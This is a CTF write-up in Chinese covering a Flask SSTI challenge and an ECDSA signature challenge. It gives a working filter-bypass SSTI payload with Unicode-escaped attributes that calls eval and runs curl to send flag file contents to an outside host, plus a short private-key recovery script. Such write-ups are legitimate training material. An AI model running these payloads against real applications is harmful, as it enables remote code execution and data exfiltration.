WEB

Ez to getflag

image-20220724180148518

这里非预期,存在任意文件读取漏洞

image-20220724180251489

这个waf写得我有点没看懂,file_get_contents为什么要用ssrf的waf

Harddisk

flask的ssti,我的方法有点笨,用的无回显的方式

https://xz.aliyun.com/t/9584

image-20220724180506799

简单写一下,过滤了{{ . [ _ \x request print string这些

{{ :用{%%}代替

. :用attr()代替

[ :用__getitem__()代替

\x : 用Unicode代替

print,request,string:不用管用不到,直接执行命令就行

payload框架

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

使用这个框架可以不用回显就能拿到命令执行的eval方法

具体payload如下

http://127.0.0.1:5000/?id={%for%0ai%0ain%0a""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u006d\u0072\u006f\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(1)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%%0aif%0a(i|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f"))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073"%0a%}{%%0aif%0a(i|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("__import__('os').popen('curl http://47.xxxxxxx.241:2333 -d `cat /f*`').read()")%}{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}

image-20220724181240349

蓝色部分要Unicode编码一下,然后直接通过curl外带就行了

image-20220724181337164

CRYPTO

babysign

https://debugmen.dev/ctf-writeup/2021/02/27/ecdsa-implementation-review.html

感觉是这篇文章改的题,变简单了一点

exp:

# -*- coding: utf-8 -*-
# @Time : 2022/7/24 12:08
# @Author : pysnow
import hashlib
import ecdsa
import gmpy2
from ecdsa.numbertheory import inverse_mod
from Crypto.Util.number import *

R = 0x7b35712a50d463ac5acf7af1675b4b63ba0da23b6452023afddd58d4891ef6e5
S = 0xa452fc44cc36fa6964d1b4f47392ff0a91350cfd58f11a4645c084d56e387e5c
k = 57872441580840888721108499129165088876046881204464784483281653404168342111855
msg = b'welcome to ecdsa'
n = ecdsa.NIST256p.generator.order()
msg = int(hashlib.sha256(msg).hexdigest(), 16)
flag = (((S * k) - msg) * inverse_mod(R, n)) % n
print('DASCTF{' + long_to_bytes(flag).decode() + '}')
最后修改:2022 年 08 月 05 日
如果觉得我的文章对你有用,请随意赞赏